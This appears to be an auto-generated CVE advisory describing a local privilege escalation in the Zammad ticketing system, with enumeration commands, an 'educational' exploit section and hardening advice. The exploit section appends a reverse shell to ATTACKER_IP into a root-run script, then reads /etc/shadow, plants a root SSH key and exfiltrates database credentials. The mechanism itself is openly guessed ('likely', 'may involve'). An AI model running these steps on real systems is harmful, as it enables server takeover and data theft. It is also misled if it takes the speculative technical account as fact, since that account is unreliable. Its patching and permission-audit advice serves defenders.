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The Zammad ticketing system contains a systemic local privilege escalation vulnerability that allows any user with access to the local `zammad` system account to obtain unrestricted root-level control over the underlying operating system. This flaw, tracked as CVE-2026-102490, affects all versions of Zammad from v1.5.0 through the latest alpha release v7.1.0-alpha, indicating an architectural weakness rather than an isolated coding error. The vulnerability likely stems from improper handling of file permissions, environment variables, or command execution contexts within Zammad’s backend Ruby on Rails processes. In typical Rails applications like Zammad, configuration files containing sensitive credentials—such as database.yml—may be stored in world-readable directories, or system commands may be executed without proper sanitization and context isolation. A local attacker can manipulate these elements to execute arbitrary code with elevated privileges. The specific mechanism may involve exploiting weak file permissions on critical configuration paths, allowing credential extraction and further lateral movement. Alternatively, misconfigured systemd service files or cron jobs that run with root privileges but remain writable by the `zammad` user could enable the insertion of malicious scripts executed during system startup or scheduled intervals. The CVSS 4.0 score of 9.4 (CRITICAL) reflects the severity: with local access, the attack complexity is low, no user interaction is required, and the confidentiality, integrity, and availability impacts to the vulnerable system are all high. Once the `zammad` account is compromised—whether through phishing, credential theft, or chaining with the remote code execution flaw CVE-2026-102489—the attacker can escalate to root and fully compromise the host. The DIVD advisory confirms that all Zammad versions including the latest alpha are affected, and the vulnerability has been actively exploited in the wild. The systemic nature of this flaw means that upgrading to Zammad version 7 is the primary recommendation, as no workaround exists. Organizations running affected versions remain at risk of complete server takeover, data exfiltration, and persistent backdoor installation.
DailyCVE Form:
Platform: Zammad
Version: 1.5.0 to 7.1.0-alpha
Vulnerability: Local privilege escalation
Severity: Critical
date: 2026-09-30
Prediction: 2026-10-07
What Undercode Say
Analytics:
Enumerate sudo privileges for the zammad user sudo -l -U zammad Locate world-writable files in critical directories find / -type f -perm -o+w -path "/etc/" 2>/dev/null find / -type f -perm -o+w -path "/opt/zammad/" 2>/dev/null Check permissions on Zammad configuration files ls -la /opt/zammad/config/database.yml ls -la /opt/zammad/config/secrets.yml Identify systemd unit files writable by zammad find /etc/systemd/system -name "zammad" -type f -perm -o+w 2>/dev/null Inspect cron jobs for writable scripts executed as root crontab -l -u zammad ls -la /etc/cron.d/ | grep zammad
Exploit: (Educational Purposes!)
- Gain local access to the `zammad` system account via credential compromise or chaining with CVE-2026-102489.
- Enumerate writable files and directories owned by root using
find / -user root -perm -o+w 2>/dev/null. - Identify a systemd service or cron job that executes a script writable by the `zammad` user, such as a logrotate configuration or a maintenance script in
/opt/zammad/. - Inject a reverse shell payload into the writable script:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /path/to/writable_script.sh
- Wait for the scheduled execution or trigger the service restart.
- Upon root shell acquisition, read
/etc/shadow, install a persistent SSH key in/root/.ssh/authorized_keys, and exfiltrate database credentials from/opt/zammad/config/database.yml.
Protection: from this CVE
Upgrade to Zammad version 7 immediately, as recommended by DIVD. If immediate upgrade is not possible, take the Zammad instance offline. Enforce strict file permissions: ensure no files owned by root are writable by the `zammad` user. Audit systemd unit files, cron jobs, and configuration paths for improper permission assignments. Run Zammad services under the principle of least privilege and consider mandatory access control frameworks such as AppArmor or SELinux to confine the `zammad` user.
Impact:
Successful exploitation grants the attacker full root control over the server hosting Zammad. This allows exfiltration of all data processed by the ticketing system, including sensitive customer information, internal communications, and database credentials. The attacker can install persistent backdoors, modify security logs to cover tracks, pivot into other network segments, or deploy ransomware across the entire host environment. The vulnerability effectively neutralizes isolation mechanisms intended to contain compromises within the application sandbox.
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Sources:
Reported By: www.cve.org
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